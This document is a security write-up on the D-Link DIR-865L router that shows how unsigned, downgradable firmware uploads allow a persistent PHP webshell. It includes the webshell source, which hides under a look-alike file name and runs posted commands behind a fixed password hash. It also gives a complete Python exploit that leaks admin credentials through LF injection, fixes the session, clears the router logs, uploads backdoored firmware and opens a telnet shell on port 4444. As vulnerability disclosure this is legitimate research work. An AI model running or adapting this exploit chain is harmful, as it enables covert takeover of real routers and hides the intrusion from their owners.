C101100: D-Link DIR-865L, Unsigned firmware upload lead to persistent backdoor (pre-auth)
Before starting, it is recommended to read the previous article:
The advantage of having a persistent backdoor is that, our backdoor will still be present after the reboot, and even if the administrator decides to do a factory reset. I realized that, when uploading a new firmware, the current router configuration (stored in XML the format) is kept even after the update, which avoids putting the router in a state that could indicate to the administrator that actions have been performed without him knowing.
I noticed that, it is possible to downgrade the firmware version of the router, because, no check is made on the version during upload. Moreover, there is no signature check when uploading a new firmware. I wondered if it was possible to add a backdoor in the form of a file (with extension .php) to the root of the Web server.
After a first try using firmware-mod-kit it was a success.
Persistent backdoor
Using firmware-mod-kit, we are going to add a backdoor, by adding the file adv_managment.php (to have a name that looks like an existing file and not attract attention) to folder /htdocs/web/ in the Squashfs (and this for all possible firmware versions).
The password to execute commands is the md5 hash of the string
CoIfFeUr
.
File: adv_managment.php
HTTP/1.1 200 OK
<?
function execute_cmd($cmd) {
fwrite("w","/var/run/exec.sh", $cmd);
event("EXECUTE");
}
if ($_POST["password"] == "9742aae404385c5e0a47b7e6006c151f") {
execute_cmd($_POST["cmd"]);
echo "DONE" . "\n";
}
?>
Extraction of an official firmware
Packaging of the backdoored firmware
Results
Archives containing the official firmware and sometime patchs note:
- DIR-865L_1.00.zip
- DIR-865L_1.02.zip
- DIR-865L_1.03.zip
- DIR-865L_1.05.zip
- DIR-865L_1.07.zip
Official firmwares:
Firmware File | Hash (md5) | Firmware Version | Binwalk Output |
---|---|---|---|
DIR-865L_1.00.bin | 54fdcc42c00fa43702825240ad2551fa | 1.00 | DIR-865L_1.00.binwalk |
DIR-865L_1.02.bin | 2ac0e74f984a58dea7a02cb7b9b0a2ba | 1.02 | DIR-865L_1.02.binwalk |
DIR-865L_1.03.bin | ab625f3ad2e330261a599ed49e72f18d | 1.03 | DIR-865L_1.03.binwalk |
DIR-865L_1.05.bin | ccaf3b7425a1ecda7deaaefacfe606b5 | 1.05 | DIR-865L_1.05.binwalk |
DIR-865L_1.07.bin | 5555f547774542396fdc725187588d6b | 1.07 | DIR-865L_1.07.binwalk |
Backdoored firmwares:
Backdoored Firmware File | Hash (md5) | Firmware Version |
---|---|---|
DIR-865L_1.00_backdoored.bin | b0607256f9b0f83f9eaddea55174d69f | 1.00 |
DIR-865L_1.02_backdoored.bin | 5a67fbb3e58cb9b42c5a2cc4b3dafba6 | 1.02 |
DIR-865L_1.03_backdoored.bin | d03f1b0c1514f552b3e8e8bb1d2d3832 | 1.03 |
DIR-865L_1.05_backdoored.bin | 4dbfc74ea666d8f098adbe33388c4d64 | 1.05 |
DIR-865L_1.07_backdoored.bin | 7e3bdbcc104fb202463b28b691e42efc | 1.07 |
Proof Of Concept
Exploit
File: exploit.py
import argparse
import hmac
import ipaddress
import json
import requests
import time
import urllib3
# Remove SSL warnings.
urllib3.disable_warnings()
# The header "Server" leaks information (model number, firmware version).
SERVER_HEADER = "Server"
# Port on which the telnetd process should listen.
TELNETD_PORT = 4444
# Credentials to use when connecting to telnetd.
CREDENTIALS = {
"login": "coiffeur",
"password": "coiffeur"
}
# Versions for which the backdoor firmware is already packaged.
VERSIONS = ["1.00", "1.02", "1.03", "1.05", "1.07"]
# Delay before checking that the firmware has been correctly installed.
DELAY = 460
# This function extracts the data between two delimiters.
def extract(raw, start_delimiter, end_delimiter):
# The first delimiter is searched for.
start = raw.find(start_delimiter)
if start == -1:
print("[x] Error: function extract() failed (can't find starting delimiter).")
return None
start = start + len(start_delimiter)
# The second delimiter is searched for.
end = raw[start::].find(end_delimiter)
if end == -1:
print("[x] Error: function extract() failed (can't find end delimiter).")
return None
end += start
return raw[start:end]
class Recon:
def __init__(self, ip, port):
self.ip = ip
self.port = port
# We check that we can communicate with the target
# either through the HTTPS protocol or through the
# HTTP protocol.
if not (self.check_protocol(f"https://{ip}:{port}") or self.check_protocol(f"http://{ip}:{port}")):
print("\t"+"[x] Can't communicate with the target.")
exit(-1)
print("\t"+f"[*] Target's URL: {self.url}")
# We check that the target is vulnerable by identifying
# its model number and firmware version.
if not self.check_target():
print("\t"+"[x] Target is not exploitable.")
exit(-1)
print("\t"+"[+] Target is exploitable.")
# This function tries to communicate with the Web server
# through the provided URL
def check_protocol(self, url):
try:
r = requests.get(url=url, verify=False)
except:
return 0
self.url = url
return 1
# This function checks the router model number through
# the headers of the Web server response and the content
# of the response body. The firmware version is given
# for information only.
def check_target(self):
r = requests.get(url=self.url, allow_redirects=False, verify=False)
if r.status_code != 200:
return 0
# We check the presence of the model number in the
# SERVER_HEADER header.
if r.headers[SERVER_HEADER].find("DIR-865L") == -1:
return 0
model_header = r.headers[SERVER_HEADER].split(" ")[2]
version_header = " ".join(r.headers[SERVER_HEADER].split(" ")[3:5]).split(" ")[-1]
print("\t"+f"[*] Model retrieved from header '{SERVER_HEADER}': {model_header} (Information Leak, pre-auth)")
print("\t"+f"[*] Version retrieved from header '{SERVER_HEADER}': {version_header} (Information Leak, pre-auth)")
# We check the presence of the model number in the body
# of the Web server response.
if r.text.find("DIR-865L") == -1:
return 0
model_body = extract(r.text, "target=\"_blank\">", "</a>")
version_body = extract(r.text, "<span class=\"version\">", "</span>").split(" ")[-1]
print("\t"+f"[*] Model retrieved from HTML body: {model_body} (Information Leak, pre-auth)")
print("\t"+f"[*] Version retrieved from HTML body: {version_body} (Information Leak, pre-auth)")
if version_header == version_body and version_body in VERSIONS:
self.version = version_header
return 1
return 0
class Attack:
storages = []
session = "uid=session_fixation"
def __init__(self, ip, port, url, version):
self.ip = ip
self.port = port
self.url = url
self.version = version
# The router is vulnerable to an authentication bypass via LF
# injection using "%0a" in POST parameters whe requesting
# "/check_stats.php" which allows us to retrieve administrator's
# username and password.
# We try to exploit this vulnerability to retrieve the account name
# and password of the administrator.
if not self.get_credentials():
print("\t"+"[x] Can't retrieve administrator's credentials.")
exit(-1)
print("\t"+f"[*] Leaked username: {self.username} (Authentication Bypass via LF Injection + Information Leak, pre-auth)")
print("\t"+f"[*] Leaked password: {self.password} (Authentication Bypass via LF Injection + Information Leak, pre-auth)")
# The router is vulnerable to session fixation. We exploit this
# vulnerability during authentication.
if not self.set_session():
print("\t"+"[x] Can't log in as administrator.")
exit(-1)
print("\t"+f"[*] Session fixed at: {self.session} (Session Fixation, pre-auth)")
# During authentication the IPs are logged. We must clear
# the logs.
self.clear_logs()
print("\t"+"[*] Authentication logs cleared.")
# During authentication the IPs are logged. We must clear
# the logs.
if not self.upload_backdoor():
print("\t"+"[x] Can't upload backdoored firmware.")
exit(-1)
print("\t"+"[+] Backdoored firmwared uploaded.")
# This function exploits an authentication bypass to retrieve
# the account name and password of the administrator.
def get_credentials(self):
new_url = f"{self.url}/check_stats.php"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
# We retrieve the administrator's account name.
datas = b"CHECK_NODE=/device/account/entry:1/name" + b"&authentication_bypass=%0aAUTHORIZED_GROUP%3d1%0a"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("OK") == -1:
return 0
self.username = extract(r.text, "<code>", "</code>")
if not self.username:
return 0
# We retrieve the administrator's password.
datas = b"CHECK_NODE=/device/account/entry:1/password" + b"&authentication_bypass=%0aAUTHORIZED_GROUP%3d1%0a"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("OK") == -1:
return 0
self.password = extract(r.text, "<code>", "</code>")
return 1
# This function is used to authenticate and operate the
# session fixation.
def set_session(self):
new_url = f"{self.url}/session.cgi"
headers = {
"Cookie": self.session,
"Content-Type": "application/x-www-form-urlencoded"
}
datas = f"REPORT_METHOD=xml&ACTION=login_plaintext&USER={self.username}&PASSWD={self.password}"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("SUCCESS") == -1:
return 0
return 1
# This function allows to erase authentication traces by
# cleaning the logs.
def clear_logs(self):
# However, we need to send a specific request for each
# type of log we want to clean
for logtype in ["sysact", "attack", "drop"]:
new_url = f"{self.url}/log_clear.php"
headers = {
"Cookie": self.session,
"Content-Type": "application/x-www-form-urlencoded"
}
datas = f"act=clear&logtype={logtype}&SERVICES=RUNTIME.LOG"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
# This function attempts to upload our persistence
# which is a backdoored firmware.
def upload_backdoor(self):
new_url = f"{self.url}/fwup.cgi"
headers = {
"Cookie": self.session
}
datas = {
"REPORT_METHOD": 301,
"REPORT": "tools_fw_rlt.php",
"DELAY": "10",
"PELOTA_ACTION": "fwupdate"
}
files = {
"fw": (f"DIR-865L_{self.version}_backdoored.bin", open(f"DIR-865L_{self.version}_backdoored.bin", "rb"), "application/macbinary")
}
print("\t"+f"[*] Picking: DIR-865L_{self.version}_backdoored.bin")
print("\t"+f"[*] Trying to upload backdoored firmware ...")
r = requests.post(url=new_url, headers=headers, files=files, data=datas, allow_redirects=False, verify=False)
if r.status_code == 301:
try:
if r.headers["Location"].find("RESULT=SUCCESS") != -1:
return 1
except:
pass
return 0
class Check:
def __init__(self, ip, port, url):
self.ip = ip
self.port = port
self.url = url
# There we check if we can trigger the PHP webshell
# located in Web server root directory.
if not self.trigger():
print("\t"+"[x] Can't trigger adv_managment.php")
print("\t"+"[x] Exploit failed.")
exit(-1)
print("\t"+"[+] Exploit succeed.")
# This function just tries to trigger route "/adv_managment.php".
def trigger(self):
new_url = f"{self.url}/adv_managment.php"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
datas = b""
datas += b"password=9742aae404385c5e0a47b7e6006c151f&"
datas += b"cmd=kilall telnetd;"
datas += b"/usr/sbin/telnetd -l/usr/sbin/login -u "
datas += CREDENTIALS['login'].encode() + b":" + CREDENTIALS['password'].encode()
datas += b" -p" + f"{TELNETD_PORT}".encode()+ b" %26"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code == 200:
if r.text.find("DONE") != -1:
return 1
return 0
def main(options):
print(f"[*] Starting recon for {options['ip']}:{options['port']} ...")
recon = Recon(options['ip'], options['port'])
print(f"[*] Starting attack on {recon.ip}:{recon.port} ...")
attack = Attack(recon.ip, recon.port, recon.url, recon.version)
print(f"[*] Starting check on {attack.ip}:{recon.port} in {DELAY}s ...")
time.sleep(DELAY)
check = Check(attack.ip, recon.port, attack.url)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("ip", help="Target's IP.")
parser.add_argument("port", help="Target's port.")
args = parser.parse_args()
options = {}
if args.ip and args.port:
options["ip"] = args.ip
options["port"] = args.port
else:
parser.print_help()
exit(-1)
main(options)